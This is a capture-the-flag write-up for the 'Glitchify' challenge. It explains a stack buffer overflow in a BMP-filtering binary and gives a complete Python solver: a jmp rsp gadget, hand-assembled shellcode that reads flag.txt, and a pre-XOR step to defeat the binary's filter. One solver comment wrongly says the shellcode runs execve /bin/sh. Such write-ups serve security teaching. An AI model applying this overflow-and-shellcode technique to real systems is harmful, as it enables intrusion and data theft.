Files
HIP7CTF_Writeups/glitchify.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

12 KiB

Glitchify

Glitchify is a "Glitch Art" SaaS that applies a noise filter to 24-bit BMP images. While the interface warns about memory limits (32x32 pixels), the underlying C application contains a classic stack-based buffer overflow and an executable stack, making it a perfect target for a custom shellcode exploit.

Initial Analysis

We are provided with the following files:

  • app.py: The Flask web wrapper.
  • glitcher: The compiled ELF64 binary.
  • compose.yml & Dockerfile: The container configuration.
  • good.bmp & bad.bmp: Sample images.

1. Identifying the Goal

By examining the Dockerfile, we can see exactly how the server is set up:

WORKDIR /home/ctf
COPY glitcher .
COPY app.py .
COPY flag.txt . 

The flag is located at /home/ctf/flag.txt. Our goal is to read this file.

2. Understanding the Pipeline

The app.py script reveals that the server captures the stdout of the binary and displays it to the user:

result = subprocess.run(
    ['./glitcher', b64_data], 
    capture_output=True, 
    text=True, 
    timeout=2
)
output = result.stdout + result.stderr

If we can execute a shellcode that reads flag.txt and writes it to stdout, the flag will appear directly in the web interface.

Binary Reconnaissance

Before diving into a decompiler, let's gather basic information about the environment.

1. File Properties

$ file glitcher
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped

The binary is not stripped, meaning we'll have access to function names during analysis.

2. Security Protections

$ readelf -h glitcher | grep Type
  Type:                              EXEC (Executable file)

PIE is disabled. The binary loads at fixed addresses, which simplifies our exploit since we don't need to bypass ASLR for the binary itself.

$ readelf -l glitcher | grep -A 1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10

NX is disabled (RWE). This is a critical finding: the stack is executable. We can jump to and execute code we place on the stack.

Static Analysis (Following the Execution Flow)

Now that we know the environment is permissive, let's trace how the program processes our input by following the logic in a decompiler.

1. The Entry Point (main)

The program starts by taking our base64-encoded image from the command line:

  1. It allocates memory for the raw data.
  2. It calls base64_decode to convert our input back to binary.
  3. It passes this decoded data to the process_bmp function.

2. Validating the Image (process_bmp)

This function acts as the gatekeeper. It parses the BMP headers to ensure the file is valid:

  1. Header Check: It verifies the "BM" magic bytes.
  2. Format Check: It ensures the image is 24-bit (standard RGB).
  3. Size Calculation: It calculates the total pixel data size: width * height * 3.
  4. Hand-off: Finally, it calls apply_noise_filter, passing a pointer to the pixel data and the calculated data_size.

3. The Vulnerability (apply_noise_filter)

This is where things go wrong. Let's look at the decompiled logic:

void apply_noise_filter(char *src_data, int data_size) {
    char process_buffer[3072]; // Fixed size on the stack
    
    // ... log initialization ...

    // CRITICAL: No check if data_size > 3072!
    memcpy(process_buffer, src_data, data_size); 

    // ... XOR loop (The "Glitch") ...
}

The programmer assumed that users would stick to the 32x32 limit mentioned in the warning. Since memcpy doesn't check the destination buffer's size, providing a larger width or height in our BMP header allows us to write past the end of process_buffer and into the function's stack frame, overwriting the saved Return Address.

4. The "Glitch" Filter

After the overflow, but before the function returns, the binary applies an XOR filter:

for (idx = 0; idx < data_size; idx++) {
    process_buffer[idx] ^= (char)(idx % 256);
}

This loop will scramble our shellcode and return address before the function returns. To ensure our code remains valid when the function eventually hits its ret instruction, we must pre-XOR our entire payload.

Exploitation Strategy (Finding the Path)

We have a buffer overflow and an executable stack. However, even with PIE disabled, the exact address of the stack can vary slightly between environments (due to environment variables, etc.). To make our exploit reliable, we need a way to redirect execution to the stack without hardcoding a stack address.

1. The Search for a Gadget

We need an instruction already present in the binary that will "jump" to the stack pointer. In x86_64, the stack pointer is stored in the rsp register. Therefore, we are looking for a gadget like:

  • jmp rsp
  • call rsp
  • push rsp; ret

2. Hunting for the Gadget

We can use objdump to search the entire disassembly for these specific instructions. Let's look for a jmp rsp:

$ objdump -d glitcher -M intel | grep "jmp    rsp"
  4018d6:       ff e4                   jmp    rsp

We found a match! There is a jmp rsp instruction located at address 0x4018d6.

3. Verification

Since our binary isn't stripped, we can check which function contains this gadget to understand why it's there:

$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
00000000004018ce <get_pixels>:
  4018ce:       f3 0f 1e fa             endbr64 
  4018d2:       55                      push   rbp
  4018d3:       48 89 e5                mov    rbp,rsp
  4018d6:       ff e4                   jmp    rsp

It turns out the gadget is inside a function called get_pixels. This address (0x4018d6) is perfect because it's fixed and will jump exactly to the memory immediately following our return address on the stack—where we will place our shellcode.

Building the Exploit Step-by-Step

Step 1: Crafting the Shellcode

Since we need to read a file and output to stdout, we'll use an open -> read -> write sequence. Here is the assembly breakdown:

; --- Open "flag.txt" ---
push 0                          ; Null terminator for string
mov rbx, 0x7478742e67616c66     ; "flag.txt" in hex (little-endian)
push rbx                        ; Push string to stack
mov rdi, rsp                    ; RDI = pointer to "flag.txt"
xor esi, esi                    ; RSI = 0 (O_RDONLY)
push 2                          ; RAX = 2 (sys_open)
pop rax
syscall                         ; open("flag.txt", 0)

; --- Read file content ---
mov rdi, rax                    ; RDI = file descriptor (from rax)
mov rsi, rsp                    ; RSI = buffer (reuse stack space)
mov edx, 0x100                  ; RDX = 256 bytes to read
push 0                          ; RAX = 0 (sys_read)
pop rax
syscall                         ; read(fd, rsp, 256)

; --- Write to stdout ---
mov rdx, rax                    ; RDX = bytes read (from rax)
push 1                          ; RDI = 1 (stdout)
pop rdi
push 1                          ; RAX = 1 (sys_write)
pop rax
syscall                         ; write(1, rsp, rdx)

; --- Exit cleanly ---
push 60                         ; RAX = 60 (sys_exit)
pop rax
xor rdi, rdi                    ; RDI = 0
syscall                         ; exit(0)

Step 2: Calculating the Padding

The process_buffer is 3072 bytes. To reach the return address, we must also overwrite the saved RBP (8 bytes).

  • Padding: 3080 bytes.
  • Return Address: 0x4018d6 (jmp rsp).
  • Payload: Padding + RetAddr + Shellcode.

Step 3: Bypassing the XOR Filter

We pre-XOR our raw payload so that when the server "glitches" it, it actually "decrypts" it back to our original code.

scrambled = bytearray()
for i in range(len(raw_payload)):
    scrambled.append(raw_payload[i] ^ (i % 256))

Step 4: Wrapping in a BMP

We wrap our scrambled payload in a standard 24-bit BMP structure.

# Magic 'BM' + Headers + Scrambled Data
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
final_file = bmp_header + info_header + scrambled

The Final Solver

import struct

# The specific "jmp rsp" gadget offset provided
GADGET_ADDR = 0x4018d6 

def get_payload():
    # 1. Shellcode: Execve /bin/sh -c "cat flag.txt"
    # OPTIMIZED: Uses the byte count from read() to limit write()
    shellcode = (
        b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
        b"\x48\x89\xe7"                 # mov rdi, rsp (filename pointer)
        b"\x31\xf6"                     # xor esi, esi (O_RDONLY)
        b"\x6a\x02"                     # push 2 (sys_open)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (open)
        
        b"\x48\x89\xc7"                 # mov rdi, rax (fd)
        b"\x48\x89\xe6"                 # mov rsi, rsp (reuse stack as buffer)
        b"\xba\x00\x01\x00\x00"         # mov edx, 256 (max count)
        b"\x6a\x00"                     # push 0 (sys_read)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (read)
        
        # --- FIX STARTS HERE ---
        # read() returns the actual number of bytes read in RAX.
        # We move that value to RDX, so write() prints exactly that many bytes.
        b"\x48\x89\xc2"                 # mov rdx, rax 
        # --- FIX ENDS HERE ---

        b"\x6a\x01"                     # push 1 (stdout)
        b"\x5f"                         # pop rdi
        b"\x6a\x01"                     # push 1 (sys_write)
        b"\x58"                         # pop rax
        b"\x0f\x05"                     # syscall (write)
        
        b"\x6a\x3c"                     # push 60 (sys_exit)
        b"\x58"                         # pop rax
        b"\x31\xff"                     # xor rdi, rdi (status 0)
        b"\x0f\x05"                     # syscall (exit)
    )

    # 2. Construct Raw Payload Layout
    # Buffer (3072) + Saved RBP (8) = 3080 bytes of padding
    padding = b"A" * 3080
    ret_addr = struct.pack("<Q", GADGET_ADDR)
    
    # Combined raw payload
    raw_payload = padding + ret_addr + shellcode

    # 3. Apply XOR Scrambling
    # The binary executes: process_buffer[idx] ^= (unsigned char)(idx % 256);
    # We pre-XOR our payload so the server descrambles it back to valid shellcode.
    scrambled_payload = bytearray()
    for i in range(len(raw_payload)):
        key = i % 256
        scrambled_payload.append(raw_payload[i] ^ key)

    return scrambled_payload

def generate_bmp(payload):
    # BMP requires width * height * 3 bytes of data.
    # Align payload to be divisible by 3.
    while len(payload) % 3 != 0:
        idx = len(payload)
        payload.append(0 ^ (idx % 256))

    # Calculate dimensions: Height = 1, Width = Len / 3
    height = 1
    width = len(payload) // 3
    
    # Header size is 54 bytes
    file_size = 54 + len(payload)

    # Construct Headers (Little Endian)
    # Magic 'BM' + FileSize + Reserved + Offset(54)
    bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
    
    # Info Header: Size(40) + W + H + Planes(1) + BitCount(24) + Compression(0)...
    info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)

    return bmp_header + info_header + payload

def main():
    print(f"[*] Generating exploit for JMP RSP @ {hex(GADGET_ADDR)}...")
    
    payload = get_payload()
    bmp_file = generate_bmp(payload)
    
    output_filename = "exploit.bmp"
    with open(output_filename, "wb") as f:
        f.write(bmp_file)
        
    print(f"[+] Malicious bitmap saved to: {output_filename}")
    print(f"[*] Total size: {len(bmp_file)} bytes")

if __name__ == "__main__":
    main()

Upload exploit.bmp to the Glitchify server and the flag will be glitched onto your screen!

Stay glitchy!